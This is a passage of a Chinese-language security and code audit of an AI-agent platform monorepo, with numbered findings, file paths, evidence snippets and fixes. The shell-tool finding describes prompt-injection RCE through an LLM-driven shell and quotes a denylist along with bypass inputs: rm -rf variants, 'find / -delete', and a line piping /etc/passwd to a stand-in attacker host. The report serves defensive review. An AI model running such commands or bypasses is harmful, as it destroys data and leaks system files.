POST /api/v1/setup/bootstrap、POST /api/v1/feishu/bind)把 admin scope 的 API key 或 process-wide 的 bot 重绑能力交给任何先到 8000 端口的人;(2) agentexample/agent67/tools/shell_executor.py 在 shell=True 下执行 LLM 产出的字符串,仅用子串匹配 blocklist(轻易绕过)——经由 prompt injection 的 RCE;(3) 发布的 agentpaas 包结构上无法构建:pyproject.toml 未声明 lambdagent 依赖且使用 where = [".."],打出来是空 wheel;外加真实 SiliconFlow/Amap key 离泄漏只差一条 .gitignore 规则,躺在 agentexample/travelagent67/.env。compiler.py god module 里塞着一个 474 行的 _compile_react 闭包,重复实现了 agentruntime 的 ReAct engine。agentpaas → lambdagent 的边界靠在 request handler 里 inline 的 from lambdagent... import 维持,还伸手到带下划线的 private 里。dev_auto_generated);rate-limit middleware 对无 auth 流量整段跳过(if not api_key: return await call_next(request));/analyze/* 和 /feishu/* router 没有 Depends(get_tenant);rollback_agent 跳过 RBAC + audit log;agent 到 KB 的链接不做 tenant scope(运行时跨 tenant 读 KB);/providers/* 把明文 key 写到全局文件并 process-wide mutate os.environ;secrets vault 用无 salt 的单轮 SHA-256 推导 AES-256-GCM key。agents.py + knowledge.py 共 3477 LOC 的 FastAPI route handler 零 集成测试(tests/ 下找不到 TestClient、httpx)。authenticate()——包括往 api_keys.key_hash 写入的 legacy-hash 自动迁移——没有任何 test。新的 agents.agent_template / instance_dir DB 列被 test suite 完全没用上,尽管它们是已文档化的多 tenant template-vs-instance 模型的承重件。Loop(max_iterations=) 和 Memory(strategy=, size=) kwargs,新用户复制粘贴的第一行就崩;YAML schema 只接受 5 个 type: 值,docs 却宣传 11 个;from-config-spec.md §13.1 声称支持嵌套 sub-agent 编译,但 _compile_chain 静默把 type: react/type: guard step 的语义降级成无状态 Lam。根目录的 CONTRIBUTING.md 仍写 MIT,而 LICENSE 是 BUSL-1.1。lambdagent、agentpaas、webui、agentexample),architecture × 2(monorepo、internals),security × 4(CSO 风格:secrets、injection、auth、supply-chain),加上 tests-gaps、docs-accuracy、spec-vs-impl。real: true|false 和 severity_adjusted。POST /api/v1/setup/bootstrap 无 auth 创建 admin tenantagentpaas/api/v1/setup.py:41证据:
@router.post("/bootstrap")
async def bootstrap():
...
db.execute("INSERT INTO api_keys ... json.dumps([\"agents:*\", \"keys:*\", \"billing:read\", \"admin:*\"]) ...")
return {"status": "created", "api_key": key, "tenant_id": tid}
admin:* API key。router 在 app.py:125 没挂任何 auth dependency;默认 bind 是 0.0.0.0。竞态窗口就是 start.sh 到第一次正式 setup 调用之间的整段时间。tenant_exists 分支只在已经有 tenant 行 之后 才生效——对实际暴露窗口毫无用处。/setup/bootstrap 只 bind 到 loopback;或要求一次性 token,在 server 首次启动时打到 console。/feishu/bind 和 /feishu/webhook 既无 auth 也无签名验证——跨 tenant agent 劫持agentpaas/api/v1/feishu.py:53@router.post("/webhook") async def feishu_webhook(request: Request): """加密策略: 不加密(开发阶段)""" body = await request.json() result = await loop.run_in_executor(None, handle_event, body, _get_runner()) ```
影响: 任何人都能 POST 到 /api/v1/feishu/bind 带上另一个 tenant 的 agent_id,process-wide 地成为那个 agent 的飞书 bot(runner 是 module singleton,os.environ mutation 是 process-global)。然后 /api/v1/feishu/webhook 接受任意伪造事件、不验 X-Lark-Signature、跑 agent 并把 output 返给 attacker。两请求 exploit chain,前提仅为网络可达。
修复: /feishu/bind 要求 admin scope 的 TenantContext;限制 agent_id 必须属于调用方 tenant;/feishu/webhook 验证 X-Lark-Signature。
维度: sec-auth
shell=True 跑在轻易绕过的 denylist 后agentexample/agent67/tools/shell_executor.py:33证据:
result = subprocess.run(
cmd, shell=True, capture_output=True, text=True,
timeout=30, cwd=os.path.expanduser("~"),
)
# safety.py: DANGEROUS_PATTERNS = ["rm -rf /", "rm -rf ~", "sudo rm -rf", ...]
rm -rf /(两个空格)、/bin/rm -rf /、python -c "import shutil; shutil.rmtree(...)"、find / -delete、> ~/.zshrc、cat /etc/passwd | curl -d@- attacker 轻松绕开。从 agent 吃下的任何 prompt-injection sink 都可达。cwd=$HOME 把爆炸半径定到用户的 home dir。(一位 verifier 指出当前这个函数未挂到 agent67 的 tool registry,但文件仍然 ship,离 RCE 只差一根 wire。)shell=True;要求 argv list;白名单二进制;或走 agentpaas/engine/sandbox.py。agentpaas/pyproject.toml 漏声明 lambdagent 依赖,尽管有 17+ 处 importagentpaas/pyproject.toml:10toml
dependencies = [
"fastapi>=0.100.0",
"uvicorn[standard]>=0.20.0",
"pydantic>=2.0",
"pyyaml>=6.0",
]
影响: agentpaas 至少在 17 处 import lambdagent(agents.py:1330,1399,1415,1416、analyze.py:29,46,47,67,112、engine/cache.py:41、engine/sandbox.py:207,208、launch.py:184 等),却未声明依赖。clean 环境下 pip install agentpaas 装出一个坏掉的包:每个 agent 执行接口首次调用都会抛 ModuleNotFoundError。CI commit 874896e 只修了测试环境。
修复: 在 [project.dependencies] 里加 lambdagent @ file:../lambdagent(或发布版本号 pin)。
维度: arch-monorepo
agentexample/travelagent67/.env 携带真实 SiliconFlow + Amap API keyagentexample/travelagent67/.env:1-2证据:
AMAP_MCP_KEY=<SCRUBBED-32-char-hex>
SILICONFLOW_API_KEY=<SCRUBBED-sk-prefix-48-chars>
(原文 quote 了两把真实 key 的字面值;为避免审计报告自身成为新的泄漏点,已替换为占位符。原值仍在仓库本地 .env 中——见 fix 部分。)
影响: 真实 key(SiliconFlow sk- 前缀符合官方 key 格式)落在仓库目录里。当前被 .gitignore 挡住(line 134 & 227),git ls-files 确认从未被追踪——但 .gitignore 是唯一防线。仓库位于 Obsidian Research-Vault 目录里,云同步(iCloud / Obsidian Sync)有合理概率把明文文件 exfil 到 git 防线之外。这两把 key 因为已被引用在本审计报告里,必须当作已泄漏并 rotate。
修复: 立即在 vendor 侧 rotate 两把 key;用占位符替换 .env;新增 .env.example;加 pre-commit gitleaks hook。
维度: correctness-examples / sec-secrets
tests/test_agentpaas.py:1(缺失)证据:
$ grep -rln "TestClient\|httpx\|fastapi.testclient" tests/ lambdagent/tests/
(no matches)
影响: 整个对外 PaaS 面——agent CRUD、knowledge upload、jobs、route 层 RBAC 强制、audit_log INSERT、每条 WHERE 里的 tenant_id scope——都可能在 CI 全绿的情况下在生产里坏掉。任意一处 SQL 语句的 tenant_id filter 拼错都会跨 tenant 泄漏数据,而 test 依旧 pass。SEC-04(上一版审计的"API 层未强制 RBAC")在没有 route 层 test 的前提下结构性不可检测。
修复: 新增 tests/test_api_*.py,用 fastapi.testclient.TestClient 对接 sqlite-in-memory app fixture;覆盖 auth dependency、RBAC 拒绝路径、tenant 隔离、knowledge upload happy path。
维度: tests-gaps
agentexample/agent67/tools/shell_executor.py —— LLM 控制的 shell 以 shell=True 执行(与 #3 重复——保留在原 critical bucket 里,因为三人 verifier 在两轮投票里都落在 critical,并且文件真实 ship。当作同一个 root cause:换掉实现,不要 patch blocklist。)
async_executor 在共享 Context 上 race —— async path 上违反 Paper II Prop 30lambdagent/src/lambdagent/agentruntime/async_executor.py:242证据:
tasks = [
self.reduce(a, input_val, ctx, cancel.child(), timeout)
for a in par.agents
]
return tuple(await asyncio.gather(*tasks))
_reduce_par(240-246 行)和 _reduce_pair(248-254 行)把 同一个 ctx 交给所有并发分支——只 fork 了 cancellation token。multiagent.py:681 里的 sync AsyncPar 正确地 forked_ctxs = [ctx.fork() for _ in self.agents]。并发分支因此从不同 asyncio task 同时 mutate 同一个 ctx.trace list 和 ctx.memory dict:trace 条目非确定性交错;任何往 ctx.memory 写(Memory/SharedMemory 封装)的 agent 都会失去 Prop 30 的 confluence 保证。Q2 audit 的 BUG-01 在另一条 code path 上以同样形态复发。forked = [ctx.fork() for _ in par.agents];把 forked[i] 传给每个 task;gather 之后 for f in forked: ctx.merge_trace(f)。Pair 同理。lambdagent/src/lambdagent/fromconfig/compiler.py:388python
try:
result = _compiled_cache[_name].apply(task, Context())
return str(result)
except Exception as e:
return f"[SubAgent {_name} error: {e}]"
影响: 每次 sub-agent 调用都被塞了一个全新空 Context(),丢掉 parent 的 workspace_path、run_id、memory 和 trace。宽泛的 except Exception 还会吞掉 CancelledRun 并转成普通字符串——orchestrator 看到一个 'tool error' 然后继续,而不是 cancel。
修复: 用闭包捕获 parent ctx(_shared_ctx 已存在);缩小 except,让 CancelledRun 透传。
维度: correctness-lambdagent
term.apply() 阻塞 event loop —— 一个慢 agent 拖死所有其他请求agentpaas/api/v1/agents.py:1467(原引为 1453)result = term.apply(input_text, ctx) 在 def _execute_agent 内被调用,而该函数来自 async def run_agent。apply 是同步的(lambdagent/core.py:208),所以多步 LLM/tool 执行(秒到分钟级)跑在 FastAPI event loop 线程上。agentpaas/engine/sandbox.py:211 的 async def _exec_inprocess 里有同样模式。/run 接口和 in-process sandbox path 没有。await asyncio.get_event_loop().run_in_executor(None, term.apply, input_text, ctx)。agentpaas/api/v1/agents.py:1413-1415证据:
from lambdagent.builtin_tools.shell_tools import _set_cwd as _shell_set_cwd
_shell_set_cwd(workspace_path)
作者明确的注释:"This is process-global state — concurrent runs in the same process would race on it ... acceptable for the current single-tenant deployment but worth revisiting before enabling parallel runs."
/run 调用:run A 的 Bash tool 把文件写进 run B 的 workspace。损坏 artifact、破坏 cycle_N 续跑、泄漏 tenant 数据、让续跑指向垃圾。已经写在注释里但没修;与多 tenant SPEC 声明矛盾。现实触发点是 KB 索引线程 + 聊天流量。contextvars.ContextVar,或在每次 Bash tool 调用里把 cwd 显式穿过去。agentpaas/secrets/vault.py:11python
def _derive_key(master_key: str) -> bytes:
return hashlib.sha256(master_key.encode()).digest()
影响: 每个 secret 都用 sha256(master_key) 派生的 AES-256-GCM 加密——无 stretching、无 per-secret salt、无 per-tenant key 隔离。master key 一旦泄漏,每个 tenant 的 secret 都 O(1) 破解。弱/dev master key 用 SHA-256(非 memory-hard)暴力破解成本极低。
修复: scrypt 或 PBKDF2-HMAC-SHA256 ≥100k iters + per-secret salt;理想是 per-tenant HKDF。
维度: correctness-agentpaas
check_same_thread=False)+ 全局 singleton,被并发 async handler 共用agentpaas/db/models.py:35证据:
self.conn = sqlite3.connect(db_path, check_same_thread=False)
外加 agentpaas/db/session.py:5 的 _db: Database = None 被 get_db() 返给每个请求。
_run_index_job 线程在 knowledge.py:909,938,1296,1319)、agent-run 线程(agents.py:791)共用一个 sqlite3.Connection。cursor 状态、事务、commit() 都不是 concurrent-safe——交错的 INSERT/UPDATE 可能破坏 cursor、抛 "Recursive use of cursors not allowed"、或把别的 request 的事务半提交。rollback_agent 缺 RBAC 检查、缺 audit log,跨 tenant 调用静默 200-OKagentpaas/api/v1/agents.py:272-292require_permission(tenant, "agents:write");version SELECT 缺 tenant_id filter;UPDATE 的 tenant_id = ? 失败时静默 0 行变更但接口仍返回 "Rolled back";没有 _audit_log 调用。对照 update_agent(line 207-208)和 delete_agent(line 262-263),它们两项都做了。require_permission + _audit_log;version SELECT 加 AND tenant_id = ?;检查 cursor.rowcount。Chat.tsx 的 SSE stream 在用户离开页面时不被取消 —— 后端继续 spawn subprocesswebui/src/pages/Chat.tsx:862(sendMessage cleanup)以及缺失的 unmount effectuseEffect(() => () => abortRef.current?.(), [])。657-661 行的 inline 注释明确说没有 /cancel POST 时 "the agent's background thread keeps spawning claude subprocesses even after the SSE connection is dead." 然而页面导航从不触发那个 POST。setMessages。付费 Claude backend 上这是每次随手返回直接烧钱,chat header 的回退按钮就能触发。useEffect(() => () => { abortRef.current?.() }, []),让导航触发 Stop 逻辑。qaagent67lambda template 到处硬编码 /home/67/knowledge/finance —— fresh clone 完全跑不起来agentexample/qaagent67lambda/agent-config.yml:179/home/67/knowledge/finance(line 179-185、218、223、247-253)。scripts/deploy_domain.sh:43 是 KNOW_DIR="/home/67/knowledge/$DOMAIN",docker run -v /home/67:/home/67。连号称便携性逃生口的 scripts/instance.yml.template:14-24 也硬编码 /home/67/。${KNOWLEDGE_ROOT:-./knowledge}/<domain>,让 instance.yml 提供具体路径。qaagent67lambda 用 pickle.load 加载 vector index 元数据 —— 共享 knowledge 目录被污染即 RCEagentexample/qaagent67lambda/scripts/search_engine.py:52search_engine.py:52,54、search_engine_v2.py:95、build_vector_index.py:87 全都 pickle.load(...) agent-config.yml 里引用的文件(vectorMeta: /home/67/knowledge/finance/rag_vectors_meta_v2.pkl)。deploy_domain.sh 把 /home/67:/home/67 bind-mount 进去,并指导 operator 从外部源把 .pkl 落进共享目录。任何能往 knowledge 目录写 .pkl 的人都能以 QA service 进程身份执行代码。memory 里记录的 maritime/finance/clean 三个线上部署都暴露。.npz;pickle 走 --unsafe-pickle + HMAC 闸门。agentpaas 包布局用 where = [".."] 把自己 pin 到了自己目录之外agentpaas/pyproject.toml:22-26toml
[tool.setuptools.package-dir]
agentpaas = "."
[tool.setuptools.packages]
find = {namespaces = false, where = [".."], include = ["agentpaas", "agentpaas.*"]}
影响: 实测复现:从 agentpaas/ 跑 python -m build --sdist,再 pip install 那个 tarball,得到的 wheel 只有 metadata(5 个文件,1.2KB)——零源码。装完之后 import agentpaas 会失败。CI commit 874896e 之所以被需要正是这个原因。这个包今天作为可发布 wheel 是 unbuildable 的。
修复: 切换到 src-layout(agentpaas/src/agentpaas/)像 lambdagent 那样;或用 where = ["."] 配自包含的 package-dir。
维度: arch-monorepo
lambdagent/src/lambdagent/fromconfig/compiler.py:845from lambdagent.agentruntime.react_engine import StepEvent, STEP_THINK 在 _compile_react 的闭包里被构造(在 988、1000、1026 重复出现;外加 line 766 的 agentruntime.cancel import)。core.events.StepEvent protocol;compiler 和 react_engine 都从那里 import。lambdagent/src/lambdagent/__init__.py:117(import-time monkey-patch 钩子)apply()、(b) async_core.py 在 import 时给 14 个 Term 子类 monkey-patch aapply、(c) agentruntime/executor.py:49 11 分支 isinstance dispatch、(d) cek_machine.py:465-601 8+ 分支 isinstance。compiler.py 是 1654 行的 god module,里面有个 474 行的 _compile_react 闭包lambdagent/src/lambdagent/fromconfig/compiler.py:627_compile_react 跨 627-1109 行,在一个闭包里做:ReAct step loop、prompt 装配、tool 抽取、tool gateway 接线、cancellation 轮询、4 个阶段的流式 step event、termination 启发式、state 压缩、session 检测,以及对 12 个其他包的 lazy import。重复了 agentruntime/react_engine.py 的 loop 逻辑(319 行)。_compile_react 闭包抽成 agentruntime/react_loop.py 里的一个真正的 class。把 _inject_resistant_prompt、_compress_state、_extract_tool_call 拉到 fromconfig/prompts.py。(原始 high,verifier 把 impact 调成 medium;在下方 medium 区报告)
(原始 high,调整为 medium;在 medium 区报告)
"dev_auto_generated")docker-compose.dev.yml:35AGENTPAAS_MASTER_KEY: "${AGENTPAAS_MASTER_KEY:-dev_auto_generated}""dev_auto_generated" 就是 master key。vault.py:_derive_key 把它 hash 成 AES-256-GCM key material。每条 dev secret 都用一把公开提交的 key 加密。dev 环境里通常存着真实的 Anthropic / OpenAI / DashScope / 飞书 API key。data 目录是 host-mount 的;attacker exfil SQLite secrets 表后可以离线解所有内容。:-default,让 compose 像生产那样 fail fast。用 install-native.sh / start.sh 的 token_hex(32) 生成。agentpaas/api/app.py:45证据:
api_key = request.headers.get("authorization", "")[:20]
if not api_key or request.url.path in ("/health", "/", "/docs", "/redoc"):
return await call_next(request)
/setup/bootstrap、/feishu/bind、/feishu/webhook、/analyze/*、SPA fallback)都没有 rate limit,包括上面的 bootstrap-race 和 DoS 向量。20 字符前缀分桶本身也错——不同 key 共享前缀会撞桶;attacker 反过来枚举不同前缀就拿到不同桶,per-bucket 暴力破解不被 throttle。Depends,不是 header 切片)。/analyze/* router 没 auth —— DoS + 免费算力agentpaas/api/v1/analyze.py:25/analyze 端点都没声明 Depends(get_tenant)。_compile 把用户 YAML 写到 tmpfile 并跑 from_config(),无 size / time / depth 上限。Depends(get_tenant);限制 request body 大小;卡 term 最大深度。/knowledge/{kb_id}/files 任意 host 文件注册(无 containment 检查)agentpaas/api/v1/knowledge.py:856add_files 接受 AddFilesRequest.file_paths 里的绝对路径,只验 p.is_file(),从不检查 p 是否在 kb["root_dir"] 下。line 1050 的 wiki 端点 的确 做了 containment 检查,说明这套代码知道这个 pattern。/etc/passwd、~/.ssh/id_rsa、~/.aws/credentials 注册到自己 KB 下。(一位 verifier 指出索引脚本扫的是 kb_root,不是注册路径,所以端到端 exfil chain 取决于下游谁读 kb_files.file_path——但注册这步本身就是 IDOR primitive,仅 audit-trail 混乱就足够要求修复。)Path(fp).resolve(),拒绝除非 str(resolved).startswith(str(Path(kb["root_dir"]).resolve()) + os.sep)。/jobs/{job_id} IDOR —— 读和取消都不做 tenant scopeagentpaas/api/v1/jobs.py:15get_job 和 cancel_job 都注入了 tenant: TenantContext,但从不比对 job.tenant_id。Job dataclass 上已经有这个字段。同级的 traces.py:14 和 agents.py:160 正确强制 WHERE id=? AND tenant_id=?。job.tenant_id != tenant.tenant_id 时拒绝(返回 404 而不是 403,避免 id oracle)。/providers/* 把明文 API key 写进全局文件并写进 process env,无 tenant 分区agentpaas/api/v1/providers_api.py:133python
PROVIDERS_FILE = os.path.expanduser("~/.agentpaas/providers.json")
saved[provider_id] = entry # not keyed by tenant
os.environ[env_key] = req.api_key # process-wide mutation
影响: tenant A 的 POST 覆盖 tenant B 存的 key(跨 tenant 静默覆盖);os.environ mutation 意味着 B 后续的 agent run 计费会算到 A 的 key 上。/providers/{id}/test 会 exfil 当前那把 key。key 明文落盘;secrets/vault.py 被绕过。
修复: 按 tenant.tenant_id 分键;去掉 os.environ mutation;走 secrets/vault.py。
维度: sec-auth
agentpaas/api/v1/agents.py:1127(以及 _build_kb_context 里的 1191)# KB is a shared resource; no tenant restriction 注释,校验 SELECT id FROM knowledge_bases WHERE id = ? 无 tenant filter。knowledge.py 在其他每个 KB 操作上都强制 tenant_id。kb_id 链到自己某个 agent;每次 run 都把 B 的文档注入 A 的 prompt context。UUID 可通过 404-vs-200 timing oracle 猜出来。AND tenant_id = ?;或引入显式 shared=true 列 + 授权表。agent-lint-action 在 lambdagent 装失败时静默 fallback 到 no-op installeragent-lint-action/action.yml:53pip install pyyaml lambdagent || pip install pyyaml。lambdagent 不在 PyPI 上(已验证:pypi.org 返回 404)。lint_runner.py:66 接住 ImportError,返回空 lint=[]/schema=[] 加一个 warning key(从不被读取),所以 exit 是 0。lambdagent 就能在每个用这个 action 的 CI 里 code execution。set -e)。USER directive)Dockerfile:76grep -n USER Dockerfile 没结果。CMD 跑 python -m agentpaas serve --host 0.0.0.0。VOLUME ["/data"] 从 host bind-mount。docker-compose.dev.yml 还直接 bind-mount ./agentpaas、./lambdagent、./lambdagent_guard。/data volume,并(在 dev 里)改写开发者的源码树。RUN useradd -u 10001 -m appuser && chown -R appuser /data /app + 在 CMD 前 USER appuser。setup.sh 在没有 pyproject.toml 的 repo root 上跑 pip install -e ".[all]"setup.sh:140pip install -e ".[all]" --quiet 2>&1 | tail -1 后无条件 ok "lambdagent 已安装"。repo root 没有 pyproject.toml。line 144 正确用了 ./agentpaas[dev]。set -o pipefail),然后打绿勾。用户在 server 启动时拿到 ImportError。和 CI commit 874896e 修的是同一个缺陷,但没传播到这里。pip install -e "./lambdagent[all]" --quiet 并去掉 | tail -1,或 set -o pipefail。authenticate() —— API-key 登录流程 —— 零 test 覆盖agentpaas/api/middleware/auth.py:80grep -rn "authenticate\|api_keys\|legacy_hash" tests/ 返回 0。只有 test_hash_key() 在孤立测原语。key_hash 行;没有 test 验证过期 key 被拒;没有 test 覆盖 Bearer 前缀切片或短 key 边界。SEC-01 回归静默溜过。lambdagent/rag.py(438 LOC)—— Paper III 的招牌特性 —— 零 direct testlambdagent/src/lambdagent/rag.py:1grep -rln "from lambdagent.rag\|import.*rag" tests/ lambdagent/tests/ 一无所获。test_knowledge.py 只覆盖 builtin_tools.knowledge_tools shim。(一位 verifier 指出线上 QA Demo 用的是 subprocess 脚本,不是这个模块——所以 impact 是研究质量而不是生产质量,但 gap 仍然真实。)tests/test_rag.py 配上小 in-memory 语料、确定性 embedding、固定查询断言、tenant 隔离 test。test_instance.py 从未跑过 agents.agent_template / instance_dir DB 列tests/test_instance.py:20_deep_merge, create_instance, load_instance, load_instance_from_dirs。没有 test 创建带新列的 agent 行、dispatch 一次 run、断言 instance_dir 被消费。agents.py:365 用了 instance_dir or agent_dir——静默 fallback。instance_dir 都会让 run 静默路由到共享的 template 目录。instance_dir 不同的 agent,各 dispatch 一次 run,断言 workspace 隔离。README.md:195python
researcher = Loop(
body=Lam("think", "Analyze the question. Use search if needed."),
condition=lambda result: "DONE" in result,
max_iterations=10,
)
- 影响: 真实签名是 Loop(body, condition, max_steps=10),condition: Callable[[Any, int], bool] 接两个参数。新用户复制的第一段 Python DSL snippet 里同时叠了两个 bug。
- 修复: Loop(body=..., condition=lambda result, step: 'DONE' in result, max_steps=10)。
- 维度: docs-accuracy
#### 38. README Memory() 例子用了不存在的 kwarg
- 文件: README.md:202
- 证据: agent = Memory(researcher, strategy="local", size=20)。真实签名:Memory(agent: Term, store: Dict[str, Any] | None = None)。
- 影响: 立刻 TypeError。和坏掉的 Loop 例子挨在一起,整段 Python DSL Quick Start 在用户走到 agent(...) 之前就崩。README 把 Python DSL 层和 YAML config schema 混淆了。
- 修复: Memory(researcher),或文档化 YAML 走法。
- 维度: docs-accuracy
#### 39. 根目录 CONTRIBUTING.md 声明 MIT —— 与 LICENSE(BSL 1.1)矛盾
- 文件: CONTRIBUTING.md:85
- 证据: *"By contributing, you agree that your contributions will be licensed under the MIT License."*——但根 LICENSE 是 BUSL-1.1,lambdagent/CONTRIBUTING.md:55 正确写 BUSL-1.1。
- 影响: Contributor-IP 强制执行风险。善意 contributor 阅读根 CONTRIBUTING.md 会以为自己同意了 MIT,削弱了 maintainer 强制 BSL non-production cap 或计划中的 2031-04-05 Apache 2.0 转换的能力。GitHub 会自动把这个文件作为 canonical 贡献指南呈现。
- 修复: 把根 CONTRIBUTING.md 的 license 条款换成 lambdagent/CONTRIBUTING.md:54-55 的 BUSL-1.1 文案。
- 维度: docs-accuracy
#### 40. README 声称 11 个 Lambda construct,但 YAML compiler 只支持 5 个
- 文件: lambdagent/src/lambdagent/fromconfig/schema.py:17
- 证据: valid_types = ("simple", "react", "chain", "router", "parallel")。README.md 87-99 行宣传 11 个 construct。constructs.md 575 行发布的 YAML 例子带 type: guard 和 type: memory chain stage,会被 S002 schema 校验拒绝。
- 影响: 每个从 constructs.md 复制 "comprehensive example" YAML 的客户都会得到 SchemaError。docs 声称的 spec 覆盖度与 from_config() 实际接受的之间存在硬矛盾。
- 修复: 要么把 if|guard|memory|pair 加进 valid_types 并在 build_agent() 里 dispatch;要么修正 README §"Core Constructs" 和 constructs.md §"YAML Configuration",标注这些只在 Python API 可用。
- 维度: spec-vs-impl
#### 41. SPEC §3.3.2 —— 文档化了 async POST /agents/{id}/jobs 端点但 API 里没有
- 文件: agentpaas/api/v1/jobs.py:13
- 证据: Jobs router 只暴露 GET /{job_id} 和 POST /{job_id}/cancel。SPEC.md §3.3.2 line 197 文档化 POST /api/v1/agents/{agent_id}/jobs 返回 202 带 poll_url。agents.py 里 grep 没有这个端点。
- 影响: 跟 SPEC.md 走的客户根本入不了 async job 队;它被告知用的 poll_url 永远没法指到一个用文档化 API 创建的 job。(一位 verifier 指出 SPEC.md 1378-1380 把它作为 Phase 2 未完成项追踪——所以这部分是 spec-roadmap 不一致,但 §3.3.2 的散文写得像已就绪。)
- 修复: 实现这个端点;或把 §3.3.2 的散文搬到明确标注 "future" 的章节。
- 维度: spec-vs-impl
#### 42. from-config-spec §13.1 承诺嵌套 sub-agent 编译,但 chain step 跳过了 build_agent()
- 文件: lambdagent/src/lambdagent/fromconfig/compiler.py:1115
- 证据: _compile_chain 从每个 step 直接构造原始 Lam(...) 对象,只读 name/prompt/model/temperature/maxTokens——从不调用 build_agent(step_cfg)。对照:_compile_router(line 1191)和 _compile_parallel(line 1233)都会递归。
- 影响: 一个 chain step {name: x, type: react, react: {maxSteps: 5}, mcp: {...}} 静默变成单个无状态 Lam。constructs.md 上发布的带 type: react/type: guard/type: memory stage 的例子被编译成无用的退化 pipeline。静默失败(无错误)——只 prompt 被读,其他全丢。
- 修复: _compile_chain 里的原始 Lam(...) 换成 build_agent(step_cfg, overrides, _depth=_depth+1)。
- 维度: spec-vs-impl
#### 43. README 的 one-sentence-agent 例子用了不存在的路径和错的 kwarg
(从 medium 提级——因为 headline marketed feature 上的复合失败;完整证据见下方 medium 区)
#### 44. 许可证冲突:lambdagent_guard 声称 MIT 但硬依赖 BUSL-1.1 的 lambdagent
- 文件: lambdagent_guard/pyproject.toml:11
- 证据: license = {text = "MIT"} + dependencies = ["lambdagent>=0.1.0"],而 lambdagent/pyproject.toml:7 是 BUSL-1.1。
- 影响: SBOM 扫描器(FOSSA、Snyk)把包当成 MIT 放行,让它穿过 BUSL 本会拦下的企业合规门。合规陷阱。
- 修复: 要么把 lambdagent_guard 改为 BUSL-1.1,要么放弃硬依赖,要么正式 dual-license。
- 维度: sec-supply-chain
#### 45. legacy 定 salt 的 PBKDF2 路径仍永久接受老 key(SEC-01 部分修复)
(证据见 medium 区——在 high 区出现因为同一问题在 finding set 里出现两次,说明 reviewer 收敛到同一处)
#### 46. compiler.py 出现重复的 enforce_loop 配置块 —— merge 残留物,未来漂移风险
(见 medium 区)
#### 47-78. (其余 high finding 归并到下方 medium 区或按 root cause 合并。)
注:经过三视角裁定,几条原本被 finder 标 "high" 的 finding 因为 failure mode 是结构性而非今天产生错误 runtime 行为,被中位投到 medium。它们以 medium 报告,但原始关切被保留。
---
### 中 (29)
#### 48. react_engine 静默吞掉 callback 异常
- 文件: lambdagent/src/lambdagent/agentruntime/react_engine.py:87
- 证据: try: self.on_step(event); except Exception: pass。compiler.py 里重复出现 5+ 次。
- 影响: 流式失败(SSE writer 关闭、JSON encode 失败)对 operator 不可见。叠加 BUG-06 trace 分裂,"为什么我没看见这一步?"变成无法诊断。
- 修复: except Exception as e: logger.warning(...) 加一个 dropped event 计数器。
#### 49. CEKEngine 静默吞掉所有 cost-validation 错误
- 文件: lambdagent/src/lambdagent/agentruntime/cek_engine.py:144
- 证据: 整条 DESIGN-08 验证路径裹在裸 except Exception: pass 里。
- 影响: DESIGN-08 被宣传为 "已修",但 estimate_cost/validate_cost 里任何失败(model KeyError、schema 漂移)都静默跳过 warning。粉饰性修复。
- 修复: 记录异常;except 收窄到具体失败 mode。
#### 50. compiler.py 里重复的 enforce_loop config block —— merge 残留物
- 文件: lambdagent/src/lambdagent/fromconfig/compiler.py:704
- 证据: 五个变量(enforce_loop_cfg/tool/min/sequence/min_cycles)在 680-684 和 704-708 各声明一次,body 一模一样。
- 影响: 当前 benign(第二次用同样的值覆盖),但下次有人改其中一块就会被另一块静默盖掉。
- 修复: 删 704-708 行。
#### 51. worker fire-and-forget asyncio.create_task() —— task 被 GC,run 卡在 'running'
- 文件: agentpaas/engine/worker.py:54
- 证据: asyncio.create_task(process_job(job)) 没强引用;process_job 在 status='running' INSERT 之后的 await sandbox.execute(...) 周围没有 try/except。models.py:233 的 zombie reaper 只在启动时清扫 >6h 的行。
- 影响: engine 注释明确说这个 bug 在生产里咬过。UI 一直显示 'running' 直到进程重启。
- 修复: bg = set(); t = asyncio.create_task(...); bg.add(t); t.add_done_callback(bg.discard) + try/except 写回 failed 状态。
#### 52. audit log helper 静默吞掉所有异常 —— 缺表时安全事件人间蒸发
- 文件: agentpaas/api/v1/agents.py:88
- 证据: _audit_log 在 try: ... except Exception: pass 里做 INSERT。audit_log 表从未在 _init_tables 里建。每次 INSERT 静默抛 OperationalError: no such table: audit_log。
- 影响: 生产里零审计行。S21 控制项形同虚设。
- 修复: 加 CREATE TABLE;用 logger.error 记录异常。
#### 53. store_secret 有 TOCTOU + 在函数中途建出来的表上跑 UPDATE/INSERT
- 文件: agentpaas/secrets/vault.py:44
- 证据: (tenant_id, name, environment) 上没有 UNIQUE 约束;CREATE TABLE 在 runtime helper 里而不是 _init_tables。
- 影响: 并发 store 产生重复行;get_secret 必须在 store_secret 至少跑过一次之后才能工作。
- 修复: DDL 搬到 _init_tables 加 UNIQUE;INSERT ... ON CONFLICT DO UPDATE SET。
#### 54. 任何 React error boundary 都不存在 —— 单个渲染错误把整个 app 白屏
- 文件: webui/src/App.tsx:21
- 证据: grep -rn "ErrorBoundary|componentDidCatch|getDerivedStateFromError" webui/src/ 零结果。
- 影响: 任何 render-time 错误(畸形 config shape、过期 localStorage)让整棵 React 树白屏。单 tenant dev UI 爆炸半径有限,但完全没有 telemetry。
- 修复: 顶层 ErrorBoundary class 包住 Routes,提供 fallback UI。
#### 55. Chat 历史恢复 effect 用非 functional setState —— race 覆盖正在流式的回复
- 文件: webui/src/pages/Chat.tsx:521
- 证据: 用 setMessages(historical) 而不是 functional updater;每次 runsData 解析且 historyLoaded 还是 false 时就跑。
- 影响: 老用户在 runsData 还没回来前快速输入 → 正在流式的 assistant bubble 被擦掉。只影响 runs 查询较慢的老用户。
- 修复: setMessages(prev => prev.length > 0 ? prev : historical)。
#### 56. FilePreview.useEffect 缺 dep + 旧响应 race
- 文件: webui/src/pages/AgentWorkspace.tsx:161
- 证据: apiKey 在 fetch 内被读,但缺在 [agentId, runId, file.path] deps 里;没有 AbortController。
- 影响: 不 remount 重新认证后还闭包着旧 key(静默 401)。快速切换文件:A 的字节出现在 B 的预览面板。
- 修复: deps 里加 apiKey + cleanup 里 AbortController。
#### 57. API key 通过 zustand persist 存在 localStorage —— XSS = 完全 account 沦陷
- 文件: webui/src/store/app.ts:10
- 证据: persist middleware 配 { name: 'lambdagent-store' },默认 localStorage;apiKey 字段被 persist。
- 影响: 任意页面脚本都能读 bearer key。今天没用 dangerouslySetInnerHTML,但 markdown 渲染很可能未来会加——defense-in-depth 缺口。
